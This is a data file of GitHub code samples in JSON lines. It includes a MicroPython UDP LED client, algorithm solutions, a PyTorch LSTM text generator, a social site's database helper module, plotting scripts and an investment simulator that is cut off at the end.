+{"seq_id":"21743881505","text":"import usocket\nimport sys\nimport machine\n\nled = machine.Pin(2, machine.Pin.OUT)\n\nADDR = '192.168.12.40'\nPORT = 10000\n# Create a UDP socket\nclient_sock = usocket.socket(usocket.AF_INET, usocket.SOCK_DGRAM)\n\nserver_address = (ADDR, PORT)\n\ndevice_id = 'led-light'\nif not device_id:\n sys.exit('The device id must be specified.')\n\nprint('Bringing up device {}'.format(device_id))\n\n\ndef SendCommand(sock, message):\n print('sending \"{}\"'.format(message))\n sock.sendto(message.encode(), server_address)\n\n # Receive response\n print('waiting for response')\n response = sock.recv(4096)\n print('received: \"{}\"'.format(response))\n\n return response\n\n\ndef MakeMessage(device_id, action, data=''):\n if data:\n return '{{ \"device\" : \"{}\", \"action\":\"{}\", \"data\" : \"{}\" }}'.format(\n device_id, action, data)\n else:\n return '{{ \"device\" : \"{}\", \"action\":\"{}\" }}'.format(\n device_id, action)\n\n\ndef RunAction(action, data=''):\n global client_sock\n message = MakeMessage(device_id, action, data)\n if not message:\n return\n print('Send data: {} '.format(message))\n event_response = SendCommand(client_sock, message)\n print('Response: {}'.format(event_response))\n\n\ntry:\n RunAction('detach')\n RunAction('attach')\n RunAction('event', 'LED is online')\n RunAction('subscribe')\n\n while True:\n response = client_sock.recv(4096).decode('utf8')\n print('Client received {}'.format(response))\n if response.upper() == 'ON' or response.upper() == b'ON':\n led.off()\n sys.stdout.write('\\r>> ' +\n \" LED is ON \" + ' <<')\n sys.stdout.flush()\n elif response.upper() == \"OFF\" or response.upper() == b'OFF':\n led.off()\n sys.stdout.write('\\r >>' + \n ' LED is OFF ' + ' <<')\n sys.stdout.flush()\n else:\n print('Invalid message {}'.format(response))\n\nfinally:\n print('closing socket', file=sys.stderr)\n client_sock.close()\n","repo_name":"lesinh97/the-node-is-red","sub_path":"ESP8266-MQTT-Client/mqtt-connect-rsp-gateway.py","file_name":"mqtt-connect-rsp-gateway.py","file_ext":"py","file_size_in_byte":2052,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"36"} +{"seq_id":"30370786823","text":"import sys\nimport heapq\nsys.stdin = open('input.txt')\n\n\ndef dijkstra(i):\n hq = []\n heapq.heappush(hq, (0, start))\n distances[start] = 0\n while hq:\n distance, current = heapq.heappop(hq)\n if distances[current] < distance:\n continue\n for next_node, weight in graph[current]:\n cost = distance + weight\n if cost < distances[next_node]:\n distances[next_node] = cost\n heapq.heappush(hq, (cost, next_node))\n\n\n\n\n\nINF = float('INF')\nV = int(input())\nE = int(input())\ngraph = [[] for _ in range(V+1)]\nvisited = [[] for _ in range(V+1)]\ndistances = [INF for _ in range(V+1)]\nfor _ in range(E):\n s, e, w = map(int, input().split())\n graph[s].append((e, w))\nstart, end = map(int, input().split())\ndijkstra(start)\nprint(distances[end])\n","repo_name":"pugcute/TIL","sub_path":"algorithm/1916_최소비용구하기/1916.py","file_name":"1916.py","file_ext":"py","file_size_in_byte":824,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"18873982307","text":"import matplotlib.pyplot as plt\nimport pandas as pd\nimport os\n\nfrom kivy.uix.screenmanager import Screen\nfrom kivy.config import value\n\n\ndef load_values_from_csv(filepath, column_index: int, separator):\n\n file_opened = pd.read_csv(filepath[0], sep=separator) # check if file is seperated by \";\"\n column_name = file_opened.columns[column_index]\n\n values = file_opened.get(column_name)\n\n print(values)\n values = list(values)\n return column_name, values\n\n\nclass Histogram_screen(Screen):\n def __init__(self):\n super().__init__()\n self.sorting_time = value\n self.sorted = value\n self.filepath = value\n self.records_q = value\n self.sep = ''\n\n\n\n def draw_hist(self, filepath, column_idx):\n # Data acquisition\n data = list(load_values_from_csv(filepath, column_idx, self.sep))\n\n # Creating histogram\n fig, ax = plt.subplots(1, 1)\n ax.hist(x=data[1], bins=10, alpha=0.5)\n ax.set_title(f\"{os.path.basename(filepath[0])}\\nHistogram for {data[0]}\")\n ax.set_ylabel(\"Counts\")\n ax.set_xlabel(f\"{data[0]}\")\n\n #labeling bars\n rects = ax.patches\n #labels = [\"label%d\" % i for i in range(len(rects))]\n\n values_summary = 0\n bar_heights = []\n x_axis_length = 0\n\n\n for rect in rects:\n height = rect.get_height()\n ax.text(rect.get_x() + rect.get_width() / 2, height + 0.01, height,\n ha='center', va='bottom')\n if rect.get_x() <= 0.3:\n values_summary += height\n bar_heights.append(height)\n x_axis_length = rect.get_x()\n print(bar_heights, x_axis_length)\n ax.text(x_axis_length*0.7, max(bar_heights)*0.95, f\"Sum of counts <= 0.3: {round(int(values_summary),0)}\",\n ha='left', va='center')\n plt.show()\n","repo_name":"krzysiek-droid/Deki-Desktop-App","sub_path":"HistogramApp/Resources/SCR_Histogram.py","file_name":"SCR_Histogram.py","file_ext":"py","file_size_in_byte":1873,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"31676367503","text":"# Chapter 4, Examples 1 & 2\n# Explicit and Implicit Euler\nfrom pylab import*\n\n# Cleanup\nclf()\n\n# Analytic solution\nf = lambda x: exp(-x/2.);\nt_true = linspace(0.,20.,50);\ny_true = f(t_true);\n\n# Numerical solution for h=1\ny1 = ones_like(y_true)\nh = 1.\nt1 = zeros_like(t_true)\nfor i in range(len(y1) - 1):\n y1[i+1] = y1[i] - .5*h*y1[i]\n t1[i+1] = t1[i] + h\n\n# Numerical solution for h=4.2\ny2 = ones_like(y_true)\nh = 4.2\nt2 = zeros_like(t_true)\nfor i in range(len(y2) - 1):\n y2[i+1] = y2[i] - .5*h*y2[i]\n t2[i+1] = t2[i] + h\n\n# Plot explicit solutions\nfigure(1)\nplot(t_true, y_true, label = \"Exact\")\nplot(t1, y1, \"k.--\", ms = 10, label = \"Explicit Euler, h=1\")\nplot(t2, y2, \"ro--\", ms = 10, mfc = \"none\", label = \"Explicit Euler, h=4.2\")\nxlim([0., 20.]); ylim([-1.5, 2.])\nxlabel(\"t\")\nylabel(\"y(t)\")\nlegend(loc = \"upper left\")\n\n# Implicit solution for h=1\ny3 = ones_like(y_true)\nh = 1.\nt3 = zeros_like(t_true)\nfor i in range(len(y3) - 1):\n y3[i+1] = y3[i]/(1.+h/2.)\n t3[i+1] = t3[i] + h\n\n# Implicit solution for h=4.2\ny4 = ones_like(y_true)\nh = 4.2;\nt4 = zeros_like(t_true)\nfor i in range(len(y4) - 1):\n y4[i+1] = y4[i]/(1.+h/2.)\n t4[i+1] = t4[i] + h\n\n# Plot implicit solutions\nfigure(2)\nplot(t_true, y_true, label = \"Exact\")\nplot(t3, y3, \"k.--\", ms = 10, label = \"Implicit Euler, h=1\")\nplot(t4, y4, \"rs--\", ms = 10, mfc = \"none\", label = \"Implicit Euler, h=4.2\")\nxlim([0., 20.]); ylim([-.1, 1.1])\nxlabel(\"t\")\nylabel(\"y(t)\")\nlegend(loc = \"upper right\")\nshow()\n","repo_name":"mdclemen/py-fena","sub_path":"ch4ex1.py","file_name":"ch4ex1.py","file_ext":"py","file_size_in_byte":1480,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"36"} +{"seq_id":"28923246651","text":"#11053. LIS \nimport sys \ninput = sys.stdin.readline \n\n\"\"\"\nD[j] = j까지 가장 큰 LIS의 길이\n\nGiven D[k], D[k]보다 큰 l이 있다면 \n\nD[l] = D[k]+1\n\n\"\"\"\nimport sys \ninput = sys.stdin.readline\nN = int(input().rstrip())\narr = list(map(int, input().rstrip().split()))\n\nD = [1 for _ in range(N)]\nD[0] = 1\nfor i in range(N):\n for j in range(i):\n if arr[j] < arr[i]: \n D[i] = max(D[i], D[j]+1)\n\nprint(D[-1])","repo_name":"GuSangmo/BOJ_practice","sub_path":"BOJ/11053.py","file_name":"11053.py","file_ext":"py","file_size_in_byte":431,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"37743799692","text":"import os\nimport random\nimport numpy as np\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom torch.autograd import Variable\n\n\nclass PlainLSTM(nn.Module):\n \"\"\"PlainLSTM \"\"\"\n def __init__(self, vocab_size, emb_dim, hidden_dim, use_cuda=False):\n super(PlainLSTM, self).__init__()\n self.vocab_size = vocab_size\n self.emb_dim = emb_dim\n self.hidden_dim = hidden_dim\n self.use_cuda = use_cuda\n self.emb = nn.Embedding(vocab_size, emb_dim)\n self.lstm = nn.LSTM(emb_dim, hidden_dim, batch_first=True)\n self.lin = nn.Linear(hidden_dim, vocab_size)\n self.log_softmax = nn.LogSoftmax(dim=1)\n self.init_params()\n\n def forward(self, x):\n\n emb = self.emb(x) # emb dim: (batch_size, seq_len, emb_dim)\n h0, c0 = self.init_hidden(x.size(0))\n\n # input to lstm dimensions: (batch, seq_len, input_size)\n output, (h, c) = self.lstm(emb, (h0, c0)) # output dim = (batch_size x seq_len, x hidden_dim)\n \n seq_len = output.size()[1]\n batch_size = output.size()[0]\n\n pred = self.log_softmax(self.lin(output.contiguous().view(-1, self.hidden_dim)))\n pred = pred.view(batch_size, seq_len, self.vocab_size)\n return pred\n\n def step(self, x, h, c):\n \"\"\"\n Args:\n x: (batch_size, 1), sequence of tokens generated by lstm\n h: (1, batch_size, hidden_dim), lstm hidden state\n c: (1, batch_size, hidden_dim), lstm cell state\n \"\"\"\n emb = self.emb(x)\n output, (h, c) = self.lstm(emb, (h, c))\n pred = F.softmax(self.lin(output.view(-1, self.hidden_dim)), dim=1)\n return pred, h, c\n\n\n def init_hidden(self, batch_size):\n\n h = Variable(torch.zeros((1, batch_size, self.hidden_dim)))\n c = Variable(torch.zeros((1, batch_size, self.hidden_dim)))\n if self.use_cuda:\n h, c = h.cuda(), c.cuda()\n return h, c\n \n def init_params(self):\n for param in self.parameters():\n param.data.uniform_(-0.05, 0.05)\n\n def sample(self, batch_size, seq_len, x=None):\n res = []\n flag = False # whether sample from zero\n if x is None:\n flag = True\n if flag:\n x = Variable(torch.zeros((batch_size, 1)).long())\n if self.use_cuda:\n x = x.cuda()\n h, c = self.init_hidden(batch_size)\n samples = []\n if flag:\n for i in range(seq_len):\n output, h, c = self.step(x, h, c)\n x = output.multinomial(1)\n samples.append(x)\n else:\n given_len = x.size(1)\n lis = x.chunk(x.size(1), dim=1)\n for i in range(given_len):\n output, h, c = self.step(lis[i], h, c)\n samples.append(lis[i])\n x = output.multinomial(1)\n for i in range(given_len, seq_len):\n samples.append(x)\n output, h, c = self.step(x, h, c)\n x = output.multinomial(1)\n output = torch.cat(samples, dim=1)\n return output\n\n\n def test_sample(self, batch_size, seq_len, vocab_size):\n\n big_list = []\n x = Variable(torch.zeros((batch_size, 1)).long())\n h, c = self.init_hidden(batch_size)\n\n for i in range(seq_len):\n output, h, c = self.step(x, h, c)\n g = Variable(torch.zeros(output.size()))\n # print(g.size())\n g.data[:,0] = 1 # R*pij\n # output.backward(g)\n big_list.append((output, g))\n\n \n\n for p, g in big_list:\n p.backward(g)\n return output\n ","repo_name":"TalkToTheGAN/RelaxTextGAN","sub_path":"models/plain_lstm.py","file_name":"plain_lstm.py","file_ext":"py","file_size_in_byte":3678,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"36"} +{"seq_id":"40730643878","text":"from asyncio import Task, ensure_future\nfrom datetime import datetime\nfrom typing import Any, Callable, Coroutine, Dict, List, Optional, Tuple\n\nfrom kh_common.auth import KhUser\nfrom kh_common.caching import AerospikeCache\nfrom kh_common.caching.key_value_store import KeyValueStore\nfrom kh_common.exceptions.http_error import NotFound\nfrom kh_common.sql import SqlInterface\nfrom pydantic import BaseModel, validator\n\nfrom ._shared import Badge, PostId, User, UserPortable, UserPrivacy, Verified, _post_id_converter\nfrom .post import PostId, Score\n\n\nFollowKVS: KeyValueStore = KeyValueStore('kheina', 'following')\nScoreCache: KeyValueStore = KeyValueStore('kheina', 'score')\nVoteCache: KeyValueStore = KeyValueStore('kheina', 'votes')\nCountKVS: KeyValueStore = KeyValueStore('kheina', 'tag_count', local_TTL=60)\nUserKVS: KeyValueStore = KeyValueStore('kheina', 'users', local_TTL=60)\n\n\nclass InternalUser(BaseModel) :\n\t_post_id_converter = validator('icon', 'banner', pre=True, always=True, allow_reuse=True)(_post_id_converter)\n\n\tuser_id: int\n\tname: str\n\thandle: str\n\tprivacy: UserPrivacy\n\ticon: Optional[PostId]\n\tbanner: Optional[PostId]\n\twebsite: Optional[str]\n\tcreated: datetime\n\tdescription: Optional[str]\n\tverified: Optional[Verified]\n\tbadges: List[Badge]\n\n\t_following: Callable[['InternalUser', KhUser], Coroutine[Any, Any, bool]]\n\n\tasync def user(self: 'InternalUser', user: Optional[KhUser] = None) -> User :\n\t\tfollowing: Optional[bool] = None\n\n\t\tif user :\n\t\t\tfollowing = await self._following(user)\n\n\t\treturn User(\n\t\t\tname = self.name,\n\t\t\thandle = self.handle,\n\t\t\tprivacy = self.privacy,\n\t\t\ticon = self.icon,\n\t\t\tbanner = self.banner,\n\t\t\twebsite = self.website,\n\t\t\tcreated = self.created,\n\t\t\tdescription = self.description,\n\t\t\tverified = self.verified,\n\t\t\tfollowing = following,\n\t\t\tbadges = self.badges,\n\t\t)\n\n\n\tasync def portable(self: 'InternalUser', user: Optional[KhUser] = None) -> UserPortable :\n\t\tfollowing: Optional[bool] = None\n\n\t\tif user :\n\t\t\tfollowing = await self._following(user)\n\n\t\treturn UserPortable(\n\t\t\tname = self.name,\n\t\t\thandle = self.handle,\n\t\t\tprivacy = self.privacy,\n\t\t\ticon = self.icon,\n\t\t\tverified = self.verified,\n\t\t\tfollowing = following,\n\t\t)\n\n\nclass InternalScore(BaseModel) :\n\tup: int\n\tdown: int\n\ttotal: int\n\n\n# this steals the idea of a map from kh_common.map.Map, probably use that when types are figured out in a generic way\nclass BadgeMap(SqlInterface, dict) :\n\n\tdef __missing__(self, key: int) -> Badge :\n\t\tdata: Tuple[str, str] = self.query(f\"\"\"\n\t\t\tSELECT emoji, label\n\t\t\tFROM kheina.public.badges\n\t\t\tWHERE badge_id = %s\n\t\t\tLIMIT 1;\n\t\t\t\"\"\",\n\t\t\t(key,),\n\t\t\tfetch_one=True,\n\t\t)\n\t\tself[key] = Badge(emoji=data[0], label=data[1])\n\t\treturn self[key]\n\nbadge_map: BadgeMap = BadgeMap()\n\n\n# this steals the idea of a map from kh_common.map.Map, probably use that when types are figured out in a generic way\nclass PrivacyMap(SqlInterface, dict) :\n\n\tdef __missing__(self, key: int) -> UserPrivacy :\n\t\tdata: Tuple[str] = self.query(f\"\"\"\n\t\t\tSELECT type\n\t\t\tFROM kheina.public.privacy\n\t\t\tWHERE privacy_id = %s\n\t\t\tLIMIT 1;\n\t\t\t\"\"\",\n\t\t\t(key,),\n\t\t\tfetch_one=True,\n\t\t)\n\t\tself[key] = UserPrivacy(value=data[0])\n\t\treturn self[key]\n\nprivacy_map: PrivacyMap = PrivacyMap()\n\n\nclass DBI(SqlInterface) :\n\n\t@AerospikeCache('kheina', 'following', '{user_id}|{target}', _kvs=FollowKVS)\n\tasync def following(self, user_id: int, target: int) -> bool :\n\t\t\"\"\"\n\t\treturns true if the user specified by user_id is following the user specified by target\n\t\t\"\"\"\n\n\t\tdata = await self.query_async(\"\"\"\n\t\t\tSELECT count(1)\n\t\t\tFROM kheina.public.following\n\t\t\tWHERE following.user_id = %s\n\t\t\t\tAND following.follows = %s;\n\t\t\t\"\"\",\n\t\t\t(user_id, target),\n\t\t\tfetch_all=True,\n\t\t)\n\n\t\tif not data :\n\t\t\treturn False\n\n\t\treturn bool(data[0])\n\n\n\tasync def following_many(self, user_id: int, targets: List[int]) -> Dict[int, bool] :\n\t\t\"\"\"\n\t\treturns a map of target user id -> following bool\n\t\t\"\"\"\n\n\t\tdata: List[Tuple[int, int]] = await self.query_async(\"\"\"\n\t\t\tSELECT following.follows, count(1)\n\t\t\tFROM kheina.public.following\n\t\t\tWHERE following.user_id = %s\n\t\t\t\tAND following.follows = any(%s)\n\t\t\tGROUP BY following.follows;\n\t\t\t\"\"\",\n\t\t\t(user_id, targets),\n\t\t\tfetch_all=True,\n\t\t)\n\n\t\treturn_value: Dict[int, bool] = {\n\t\t\ttarget: False\n\t\t\tfor target in targets\n\t\t}\n\n\t\tfor target, following in data :\n\t\t\tfollowing: bool = bool(following)\n\t\t\treturn_value[target] = following\n\t\t\tensure_future(FollowKVS.put_async(f'{user_id}|{target}', following))\n\n\t\treturn return_value\n\n\n\t@AerospikeCache('kheina', 'score', '{post_id}', _kvs=ScoreCache)\n\tasync def _get_score(self, post_id: PostId) -> Optional[InternalScore] :\n\t\tdata: List[int] = await self.query_async(\"\"\"\n\t\t\tSELECT\n\t\t\t\tpost_scores.upvotes,\n\t\t\t\tpost_scores.downvotes\n\t\t\tFROM kheina.public.post_scores\n\t\t\tWHERE post_scores.post_id = %s;\n\t\t\t\"\"\",\n\t\t\t(post_id.int(),),\n\t\t\tfetch_one=True,\n\t\t)\n\n\t\tif not data :\n\t\t\treturn None\n\n\t\treturn InternalScore(\n\t\t\tup=data[0],\n\t\t\tdown=data[1],\n\t\t\ttotal=sum(data),\n\t\t)\n\n\n\tasync def scores_many(self, post_ids: List[PostId]) -> Dict[PostId, Optional[InternalScore]] :\n\t\tscores: Dict[PostId, Optional[InternalScore]] = {\n\t\t\tpost_id: None\n\t\t\tfor post_id in post_ids\n\t\t}\n\n\t\tdata: List[Tuple(int, int, int)] = await self.query_async(\"\"\"\n\t\t\tSELECT\n\t\t\t\tpost_scores.post_id,\n\t\t\t\tpost_scores.upvotes,\n\t\t\t\tpost_scores.downvotes\n\t\t\tFROM kheina.public.post_scores\n\t\t\tWHERE post_scores.post_id = any(%s);\n\t\t\t\"\"\",\n\t\t\t(list(map(int, post_ids)),),\n\t\t\tfetch_all=True,\n\t\t)\n\n\t\tif not data :\n\t\t\treturn scores\n\n\t\tfor post_id, up, down in data :\n\t\t\tpost_id: PostId = PostId(post_id)\n\t\t\tscore: InternalScore = InternalScore(\n\t\t\t\tup=up,\n\t\t\t\tdown=down,\n\t\t\t\ttotal=up + down,\n\t\t\t)\n\t\t\tscores[post_id] = score\n\t\t\tensure_future(ScoreCache.put_async(post_id, score))\n\n\t\treturn scores\n\n\n\t@AerospikeCache('kheina', 'votes', '{user_id}|{post_id}', _kvs=VoteCache)\n\tasync def _get_vote(self, user_id: int, post_id: PostId) -> int :\n\t\tdata: Optional[Tuple[bool]] = await self.query_async(\"\"\"\n\t\t\tSELECT\n\t\t\t\tupvote\n\t\t\tFROM kheina.public.post_votes\n\t\t\tWHERE post_votes.user_id = %s\n\t\t\t\tAND post_votes.post_id = %s;\n\t\t\t\"\"\",\n\t\t\t(user_id, post_id.int()),\n\t\t\tfetch_one=True,\n\t\t)\n\n\t\tif not data :\n\t\t\treturn 0\n\n\t\treturn 1 if data[0] else -1\n\n\n\tasync def votes_many(self, user_id: int, post_ids: List[PostId]) -> Dict[PostId, int] :\n\t\tvotes: Dict[PostId, int] = {\n\t\t\tpost_id: 0\n\t\t\tfor post_id in post_ids\n\t\t}\n\t\tdata: List[Tuple[int, int]] = await self.query_async(\"\"\"\n\t\t\tSELECT\n\t\t\t\tpost_votes.post_id,\n\t\t\t\tpost_votes.upvote\n\t\t\tFROM kheina.public.post_votes\n\t\t\tWHERE post_votes.user_id = %s\n\t\t\t\tAND post_votes.post_id = any(%s);\n\t\t\t\"\"\",\n\t\t\t(user_id, list(map(int, post_ids))),\n\t\t\tfetch_all=True,\n\t\t)\n\n\t\tif not data :\n\t\t\treturn votes\n\n\t\tfor post_id, upvote in data :\n\t\t\tpost_id: PostId = PostId(post_id)\n\t\t\tvote: int = 1 if upvote else -1\n\t\t\tvotes[post_id] = vote\n\t\t\tensure_future(VoteCache.put_async(f'{user_id}|{post_id}', vote))\n\n\t\treturn votes\n\n\n\tasync def getScore(self, user: KhUser, post_id: PostId) -> Optional[Score] :\n\t\tscore: Task[Optional[InternalScore]] = ensure_future(self._get_score(post_id))\n\t\tvote: Task[int] = ensure_future(self._get_vote(user.user_id, post_id))\n\n\t\tscore: Optional[InternalScore] = await score\n\n\t\tif not score :\n\t\t\treturn None\n\n\t\treturn Score(\n\t\t\tup=score.up,\n\t\t\tdown=score.down,\n\t\t\ttotal=score.total,\n\t\t\tuser_vote=await vote,\n\t\t)\n\n\n\t@AerospikeCache('kheina', 'tag_count', '{tag}', _kvs=CountKVS)\n\tasync def tagCount(self, tag: str) -> int :\n\t\tdata = await self.query_async(\"\"\"\n\t\t\tSELECT COUNT(1)\n\t\t\tFROM kheina.public.tags\n\t\t\t\tINNER JOIN kheina.public.tag_post\n\t\t\t\t\tON tags.tag_id = tag_post.tag_id\n\t\t\t\tINNER JOIN kheina.public.posts\n\t\t\t\t\tON tag_post.post_id = posts.post_id\n\t\t\t\t\t\tAND posts.privacy_id = privacy_to_id('public')\n\t\t\tWHERE tags.tag = %s;\n\t\t\t\"\"\",\n\t\t\t(tag,),\n\t\t\tfetch_one=True,\n\t\t)\n\n\t\tif not data :\n\t\t\treturn 0\n\n\t\treturn data[0]\n\n\n\tasync def tags_many(self, post_ids: List[PostId]) -> Dict[PostId, List[str]] :\n\t\t# TODO: it may be worth doing a more complex query here for the tag classes\n\t\t# so that the response data can be cached for future use\n\t\ttags: Dict[PostId, List[str]] = {\n\t\t\tpost_id: []\n\t\t\tfor post_id in post_ids\n\t\t}\n\t\tdata: List[Tuple[int, List[str]]] = await self.query_async(\"\"\"\n\t\t\tSELECT tag_post.post_id, array_agg(tags.tag)\n\t\t\tFROM kheina.public.tag_post\n\t\t\t\tINNER JOIN kheina.public.tags\n\t\t\t\t\tON tags.tag_id = tag_post.tag_id\n\t\t\t\t\t\tAND tags.deprecated = false\n\t\t\tWHERE tag_post.post_id = any(%s)\n\t\t\tGROUP BY tag_post.post_id;\n\t\t\t\"\"\",\n\t\t\t(list(map(int, post_ids)),),\n\t\t\tfetch_all=True,\n\t\t)\n\n\t\tfor post_id, tag_list in data :\n\t\t\ttags[PostId(post_id)] = list(filter(None, tag_list))\n\n\t\treturn tags\n\n\n\tasync def _handle_to_user_id(self, handle: str) -> int :\n\t\tdata = await self.query_async(\"\"\"\n\t\t\tSELECT\n\t\t\t\tusers.user_id\n\t\t\tFROM kheina.public.users\n\t\t\tWHERE lower(users.handle) = lower(%s);\n\t\t\t\"\"\",\n\t\t\t(handle.lower(),),\n\t\t\tfetch_one=True,\n\t\t)\n\n\t\tif not data :\n\t\t\traise NotFound('no data was found for the provided user.')\n\n\t\treturn data[0]\n\n\n\tasync def users_many(self, user_ids: List[int]) -> Dict[int, InternalUser] :\n\n\t\tdata: List[tuple] = await self.query_async(\"\"\"\n\t\t\tSELECT\n\t\t\t\tusers.user_id,\n\t\t\t\tusers.display_name,\n\t\t\t\tusers.handle,\n\t\t\t\tusers.privacy_id,\n\t\t\t\tusers.icon,\n\t\t\t\tusers.website,\n\t\t\t\tusers.created_on,\n\t\t\t\tusers.description,\n\t\t\t\tusers.banner,\n\t\t\t\tusers.admin,\n\t\t\t\tusers.mod,\n\t\t\t\tusers.verified,\n\t\t\t\tarray_agg(user_badge.badge_id)\n\t\t\tFROM kheina.public.users\n\t\t\t\tLEFT JOIN kheina.public.user_badge\n\t\t\t\t\tON user_badge.user_id = users.user_id\n\t\t\tWHERE users.user_id = any(%s)\n\t\t\tGROUP BY\n\t\t\t\tusers.user_id;\n\t\t\t\"\"\",\n\t\t\t(user_ids,),\n\t\t\tfetch_all=True,\n\t\t)\n\n\t\tif not data :\n\t\t\treturn { }\n\n\t\tusers: Dict[int, InternalUser] = { }\n\t\tfor datum in data :\n\t\t\tverified: Optional[Verified] = None\n\n\t\t\tif datum[9] :\n\t\t\t\tverified = Verified.admin\n\n\t\t\telif datum[10] :\n\t\t\t\tverified = Verified.mod\n\n\t\t\telif datum[11] :\n\t\t\t\tverified = Verified.artist\n\n\t\t\tuser: InternalUser = InternalUser(\n\t\t\t\tuser_id = datum[0],\n\t\t\t\tname = datum[1],\n\t\t\t\thandle = datum[2],\n\t\t\t\tprivacy = privacy_map[datum[3]],\n\t\t\t\ticon = datum[4],\n\t\t\t\twebsite = datum[5],\n\t\t\t\tcreated = datum[6],\n\t\t\t\tdescription = datum[7],\n\t\t\t\tbanner = datum[8],\n\t\t\t\tverified = verified,\n\t\t\t\tbadges = list(map(badge_map.__getitem__, filter(None, datum[12]))),\n\t\t\t)\n\t\t\tusers[datum[0]] = user\n\t\t\tensure_future(UserKVS.put_async(str(datum[0]), user))\n\n\t\treturn users\n","repo_name":"kheina-com/fuzzly","sub_path":"fuzzly/models/_database.py","file_name":"_database.py","file_ext":"py","file_size_in_byte":10300,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"36"} +{"seq_id":"21709226326","text":"# Online Python compiler (interpreter) to run Python online.\n# Write Python 3 code in this online editor and run it.\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nfrom sklearn import preprocessing\n\n#from musicgenre.forGraph import forGraph\n\n\n#mappings, Labellings = forGraph()\n\n\n#labels = ['disco', 'metal', 'reggae', 'blues', 'rock', 'classical', 'jazz', 'hiphop', 'country', 'pop']\n\n#abc = my_array.flatten()\n#print(abc.shape)\n#df = pd.DataFrame(abc, columns = ['Column_A'])\n\n#print(df)\n#print(type(df))\n\n#create pandas DataFrame\ndef get_dataframe(tempAverage):\n my_array = tempAverage\n #my_array_max = my_array.max()\n normalized_value = preprocessing.normalize(my_array)\n print(normalized_value)\n df = pd.DataFrame({'Genres': ['disco', 'metal', 'reggae', 'blues', 'rock', 'classical', 'jazz', 'hiphop', 'country', 'pop'],\n })\n\n #create NumPy array for 'blocks'\n #labels = ['disco', 'metal', 'reggae', 'blues', 'rock', 'classical', 'jazz', 'hiphop', 'country', 'pop']\n\n abc = normalized_value.flatten()\n #blocks = np.array([2, 3, 1, 0, 2, 7, 8, 2,1,1])\n\n #add 'blocks' array as new column in DataFrame\n list_abc = abc.tolist()\n df['Comparative_Value'] = list_abc\n \n\n #df.plot(kind='bar',x='Genres',y='tempAverage')\n #dfh = df.to_html()\n #print(dfh)\n# the plot gets saved to 'output.png'\n #plt.savefig('./static/images/music.jpg')\n #df.plot(x='Genres',y='tempAverage')\n#display the DataFrame\n return df\n\n\n\n ","repo_name":"aj-sapkota/Music-Genre-Classification","sub_path":"musicgenre/barchart.py","file_name":"barchart.py","file_ext":"py","file_size_in_byte":1512,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"73996319782","text":"import datetime\n\nfrom fp17 import treatments\n\n\ndef annotate(bcds1):\n bcds1.patient.surname = \"AMBERGATE\"\n bcds1.patient.forename = \"TINA\"\n bcds1.patient.address = [\"32 HIGH STREET\"]\n bcds1.patient.sex = 'F'\n bcds1.patient.date_of_birth = datetime.date(1940, 11, 13)\n\n bcds1.date_of_acceptance = datetime.date(2017, 4, 1)\n bcds1.date_of_completion = datetime.date(2017, 4, 1)\n\n bcds1.patient_charge_pence = 2060\n\n # Treatments: \"Scale & polish, Domicilliary Visit, Ethnic Origin 99\"\n bcds1.treatments = [\n treatments.TREATMENT_CATEGORY(1),\n treatments.SCALE_AND_POLISH,\n treatments.DOMICILIARY_SERVICES,\n treatments.ETHNIC_ORIGIN_PATIENT_DECLINED,\n ]\n\n return bcds1\n","repo_name":"openhealthcare/python-fp17","sub_path":"supplier_testing/case_35.py","file_name":"case_35.py","file_ext":"py","file_size_in_byte":729,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"36"} +{"seq_id":"33670553432","text":"class Solution:\n def findMissingRanges(self, nums: List[int], lower: int, upper: int) -> List[str]:\n \n def formatstr(lower, upper):\n if lower == upper:\n return str(lower)\n return str(lower) + '->' + str(upper)\n \n output = []\n nums.insert(0,lower-1) # 连着的数之间没有 interval,所以这样加一个 lower-1 不影响\n nums.insert(len(nums),upper+1)\n for i in range(1,len(nums)):\n if nums[i]-nums[i-1] != 1:\n output.append(formatstr(nums[i-1]+1, nums[i]-1))\n \n\n return output\n","repo_name":"Zixi-L/leetcode_easy","sub_path":"0163_missing_range.py","file_name":"0163_missing_range.py","file_ext":"py","file_size_in_byte":618,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"36"} +{"seq_id":"39408167316","text":"#!/usr/bin/env python3\n\n\nfrom ExampleForACertainPeriod import ExampleForACertainPeriod, GCD\n\n\ndef divisors_of(n):\n assert n >= 1\n return [d for d in range(1, n + 1) if n % d == 0]\n\n\n# Parameters\n\n\n# account_type = None\n# account_type = 'PEA'\naccount_type = 'AV'\nsaved_per_month = 25 # currency amount\n# saved_per_month = 0 # currency amount\nduration_in_months = 12*8\n# duration_in_months = 12\nopening_balance = 2600 # currency amount\n# opening_balance = 100 # currency amount\n\n\n# I think in this simulator, you should stick to a single product in the portfolio.\n# Indeed, without rebalancing, using several products in the portfolio is likely to lead to an unbalanced portfolio.\n\n# percentages\nportfolio_wanted_percentages = [100]\nportfolio_return_rates_per_year = [15.31]\n# portfolio_wanted_percentages = [90, 10]\n# portfolio_return_rates_per_year = [10, 3]\n\n# period_sizes_to_try = [0.5] + list(range(1, 25)) # in months\n# period_sizes_to_try = [x for x in (0.25 * i for i in range(1, 12)) if duration_in_months % x == 0] # in months\n# period_sizes_to_try = [12] # in months\nperiod_sizes_to_try = [0.25, 0.5] + divisors_of(duration_in_months) # in months\n# period_sizes_to_try = divisors_of(duration_in_months) # in months\n\n\n# This simulator seems too unrealistic for the rebalancing simulation to be useful.\n\nrebalance_periods_to_try = [None] # do not simulate rebalancing\n# rebalance_periods_to_try = list(range(1, 14)) # in months\n# rebalance_periods_to_try 